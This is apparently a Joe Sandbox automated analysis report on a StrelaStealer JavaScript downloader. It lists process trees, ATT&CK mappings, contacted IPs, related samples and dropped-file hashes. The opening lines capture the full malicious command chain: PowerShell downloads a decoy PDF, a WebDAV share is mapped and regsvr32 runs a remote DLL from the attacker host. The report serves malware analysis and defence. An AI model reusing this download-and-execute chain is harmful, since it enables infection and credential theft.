Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1528152952987120978.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1528152952987120978.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/0B	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Hj	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ia	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/0B	net.exe, 00000006.00000002.1767485554.0000016A48AC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1767251239.00000115FF6C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000006.00000002.1767485554.0000016A48AEC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Hj	net.exe, 00000006.00000002.1767485554.0000016A48AC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2988828941.00000115F9EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/ia	net.exe, 00000006.00000002.1767485554.0000016A48AFF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1767485554.0000016A48AFF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767485554.0000016A48AC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1767251239.00000115FF6C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588684
Start date and time:	2025-01-11 04:09:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1528152952987120978.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 184.28.90.27, 23.209.209.135, 4.245.163.56, 23.41.168.139, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:10:28	API Interceptor	23x Sleep call for process: powershell.exe modified
22:10:32	API Interceptor	1x Sleep call for process: net.exe modified
22:10:32	API Interceptor	2x Sleep call for process: svchost.exe modified
22:10:45	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073552385937217
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr2:KooCEYhgYEL0In
MD5:	48A00F0D1939696911C146807E281EC2
SHA1:	DAC00105238D9996803777B1ED152B375ED120AA
SHA-256:	39931D80A9CBCBE09A2E0EDE96B6E850053EDF80D873429CD5532CD1EE81882A
SHA-512:	F83F2A919967AEE1A604C20F818BBE36F31B60A9C4E4CBA9698FF0FA732DD0D5279701F760F02DCDE1B9B340BF70384C6C80D4B51E5BBC4E792F269FC5A3C740
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x05b3a80f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221347186371686
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	08A25D7A4052393284DBFD76E7E1B980
SHA1:	A002FA0CBFFD9BDDFD21A6CB066F97299E259A49
SHA-256:	61C353435D6AF8AC414A6BA32AE32E4FC739FD4BA115766D6B6E413997E34AD6
SHA-512:	F8393E6E88B29072476B9DA4B92397AEADA57A2090FF734FE653224194601EE77223FA61B912A7BD3BB1A824F4CB7355755D9814CBF9FD439A29673B5670184F
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A.#....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................>^#....}..................d..O#....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07656559215082093
Encrypted:	false
SSDEEP:	3:NUSltKYexRowuvCjn13a/Rt9qR/AllcVO/lnlZMxZNQl:7Kzxqwua53qc5AOewk
MD5:	34E42A1FC21E8F9C431F1274ADB166E7
SHA1:	5F276EABDE8943A62CF5EF31B2FA9EE4D3C3A763
SHA-256:	83AAACC70F9D7712AC33FE32C96DE03B468AF39D248EC60C4B8AF23E0FF93608
SHA-512:	CB3E438A9F195A5543269760D30A98C35B02998814D7DB5FC7F683E46567536689DA502DB1EA0F9B43B163349D9F72FE7AE74D7B9031634981AB875912F87A25
Malicious:	false
Preview:	W..M.....................................;...{..#....}.......{A..............{A......{A..........{A]................d..O#....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.145474416365331
Encrypted:	false
SSDEEP:	6:iO4qXRXrVq2Pwkn2nKuAl9OmbnIFUtSqXR5gZmwsqXRtSIkwOwkn2nKuAl9Ombjd:7frVvYfHAahFUtvg/hSI5JfHAaSJ
MD5:	43567F99600BB4E19565D23891E75EAC
SHA1:	3C976B4D1564ACE3C6D8B6F47E4D8630E7B5B3BE
SHA-256:	B2FBE242D3C9A2D9AB90FD1E35A9EA1EF271E24EF540A81040E5461659181BAF
SHA-512:	3E46581CD87D72E164F96A1B566BBDBC71799D10B22622A7507F917DC207022AE5D1C313C760581706B86E7EF47508D48F3650D0C707CD8F93A03DCCB78F8244
Malicious:	false
Preview:	2025/01/10-22:10:32.234 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:10:32.236 1f14 Recovering log #3.2025/01/10-22:10:32.237 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.145474416365331
Encrypted:	false
SSDEEP:	6:iO4qXRXrVq2Pwkn2nKuAl9OmbnIFUtSqXR5gZmwsqXRtSIkwOwkn2nKuAl9Ombjd:7frVvYfHAahFUtvg/hSI5JfHAaSJ
MD5:	43567F99600BB4E19565D23891E75EAC
SHA1:	3C976B4D1564ACE3C6D8B6F47E4D8630E7B5B3BE
SHA-256:	B2FBE242D3C9A2D9AB90FD1E35A9EA1EF271E24EF540A81040E5461659181BAF
SHA-512:	3E46581CD87D72E164F96A1B566BBDBC71799D10B22622A7507F917DC207022AE5D1C313C760581706B86E7EF47508D48F3650D0C707CD8F93A03DCCB78F8244
Malicious:	false
Preview:	2025/01/10-22:10:32.234 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:10:32.236 1f14 Recovering log #3.2025/01/10-22:10:32.237 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.124319596784385
Encrypted:	false
SSDEEP:	6:iO4qXRCq2Pwkn2nKuAl9Ombzo2jMGIFUtSqXRRZmwsqXRHFkwOwkn2nKuAl9OmbX:76vYfHAa8uFUtv/B5JfHAa8RJ
MD5:	CE8EED4376C66F8254434E3F159CB424
SHA1:	659E976E3058E8B02802DC02A5645B06D466A91A
SHA-256:	131EB103D16963E6F853F787D64F154A6E60451F78B3B04EB7F07D656FFE5C72
SHA-512:	42E6A52AB5E9C9D2EF8214A84184922C7D9FFAB2DCB42BF2D2BF068B221DDE792636E7E4AFEABADD37DF1D62B61A519C01B599B1DE147A420C5465FB1B1D8968
Malicious:	false
Preview:	2025/01/10-22:10:32.287 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:10:32.289 1fb0 Recovering log #3.2025/01/10-22:10:32.290 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.124319596784385
Encrypted:	false
SSDEEP:	6:iO4qXRCq2Pwkn2nKuAl9Ombzo2jMGIFUtSqXRRZmwsqXRHFkwOwkn2nKuAl9OmbX:76vYfHAa8uFUtv/B5JfHAa8RJ
MD5:	CE8EED4376C66F8254434E3F159CB424
SHA1:	659E976E3058E8B02802DC02A5645B06D466A91A
SHA-256:	131EB103D16963E6F853F787D64F154A6E60451F78B3B04EB7F07D656FFE5C72
SHA-512:	42E6A52AB5E9C9D2EF8214A84184922C7D9FFAB2DCB42BF2D2BF068B221DDE792636E7E4AFEABADD37DF1D62B61A519C01B599B1DE147A420C5465FB1B1D8968
Malicious:	false
Preview:	2025/01/10-22:10:32.287 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:10:32.289 1fb0 Recovering log #3.2025/01/10-22:10:32.290 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\63a70868-dc5f-4a49-a275-4d3e34b2436e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966371805263637
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqWgXhsBdOg2HPAcaq3QYiubInP7E4T3y:Y2sRdsX5idMHT3QYhbG7nby
MD5:	F24CA81823B5A15629670E20CFB19085
SHA1:	7579AA51A12C6275C23E61BCDA1235310851DE11
SHA-256:	5275305063A7B356CA595D06E32765399FE3CD2DBEB6D9B66EF06A21ED085C2A
SHA-512:	6786151A8278F69BE594E2AF949C20C4A2B665A1EDE611EE3542477344EEAFA7778C2A67BAD0EBE7F7FD7C4AA22BBF0FE45AF1263AE75E614C643C26D397CD3C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125044757564","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137647},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966371805263637
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqWgXhsBdOg2HPAcaq3QYiubInP7E4T3y:Y2sRdsX5idMHT3QYhbG7nby
MD5:	F24CA81823B5A15629670E20CFB19085
SHA1:	7579AA51A12C6275C23E61BCDA1235310851DE11
SHA-256:	5275305063A7B356CA595D06E32765399FE3CD2DBEB6D9B66EF06A21ED085C2A
SHA-512:	6786151A8278F69BE594E2AF949C20C4A2B665A1EDE611EE3542477344EEAFA7778C2A67BAD0EBE7F7FD7C4AA22BBF0FE45AF1263AE75E614C643C26D397CD3C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125044757564","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137647},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.25635098182643
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7i5kdKW:etJCV4FiN/jTN/2r8Mta02fEhgO73gol
MD5:	AF999C6CC95524CC081ED32F1BFBA6A1
SHA1:	E95475A3C9A60677F22C55CEC2D7E98DE06E1EF3
SHA-256:	57C4E56D3A310752DDD4AA13670A16A67ABEDA226F2DD64D29A3AF92BDBB627A
SHA-512:	E1FF527010DCF9E1CFECCB12EE945122DB07119989620A594598076FF97CD63E8A13A7B068BC2F438A23CB8844B9DEA0481505BC56D7E67E8E13721307FB1281
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160331616792292
Encrypted:	false
SSDEEP:	6:iO4qXRvGAq2Pwkn2nKuAl9OmbzNMxIFUtSqXRhiZmwsqXRibkwOwkn2nKuAl9Omk:7HGAvYfHAa8jFUtq/E5JfHAa84J
MD5:	C0657C24D675C1DB091D8B71E6E0C04B
SHA1:	D66D79D7CD8EB5FAFE801CF2A4CBF9B26ADED498
SHA-256:	694FB21B57E0416241E340245AFF35401FFB2BC726737348342476FAB88E9759
SHA-512:	9FEAD6439CD00371AE043177300309F6BD4AC2946E15814EFD9AB42B15E8A17836DC801726DF1C2A466467285B160654C7F26041370B5B5A3934EB3C8A2DA4DA
Malicious:	false
Preview:	2025/01/10-22:10:32.477 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:10:32.479 1fb0 Recovering log #3.2025/01/10-22:10:32.480 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160331616792292
Encrypted:	false
SSDEEP:	6:iO4qXRvGAq2Pwkn2nKuAl9OmbzNMxIFUtSqXRhiZmwsqXRibkwOwkn2nKuAl9Omk:7HGAvYfHAa8jFUtq/E5JfHAa84J
MD5:	C0657C24D675C1DB091D8B71E6E0C04B
SHA1:	D66D79D7CD8EB5FAFE801CF2A4CBF9B26ADED498
SHA-256:	694FB21B57E0416241E340245AFF35401FFB2BC726737348342476FAB88E9759
SHA-512:	9FEAD6439CD00371AE043177300309F6BD4AC2946E15814EFD9AB42B15E8A17836DC801726DF1C2A466467285B160654C7F26041370B5B5A3934EB3C8A2DA4DA
Malicious:	false
Preview:	2025/01/10-22:10:32.477 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:10:32.479 1fb0 Recovering log #3.2025/01/10-22:10:32.480 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444774961406594
Encrypted:	false
SSDEEP:	384:yezci5txiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rCs3OazzU89UTTgUL
MD5:	BEE8F9FFA014A3E8B264D3E05F5FF7F4
SHA1:	532268AEBE0C356ADC7B6F4C579DB8B185E52BE3
SHA-256:	1AC8350D548040984CDA4E9C0A7B89764B0EEC3E15CAC3C7C57BBABAE559274B
SHA-512:	2A35E87F056B978209A665CF0F51AFEFA22682534ACE3F8B42C02C1C92AAF7F298EE866347F775DCEEDC626D0EE4694EDBB69F31320D65F4B8EAEAE0B91FB3BB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7722717934089354
Encrypted:	false
SSDEEP:	48:7Mbp/E2ioyV/ioy9oWoy1Cwoy1XKOioy1noy1AYoy1Wioy1hioybioyioy1noy1D:78pju/F+XKQLLb9IVXEBodRBk/
MD5:	25C2FD1A4BC930F95DFDF994E9E25E6B
SHA1:	118809BF74EA911B006FA1DA1C71E01032016FEC
SHA-256:	68A29F2C1D7BD7156B380BD4039A8384C3D98A0A13EFC8C514FBCD370284684F
SHA-512:	808F5F2917E40C210423B805384EAB8125AA2CFA4C81B9FE35CA71F84BDF9835FA2D7C4110904173051DC798A6B2A0A6ADC944C52A6FABD2D72787922DE165D9
Malicious:	false
Preview:	.... .c......wQ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
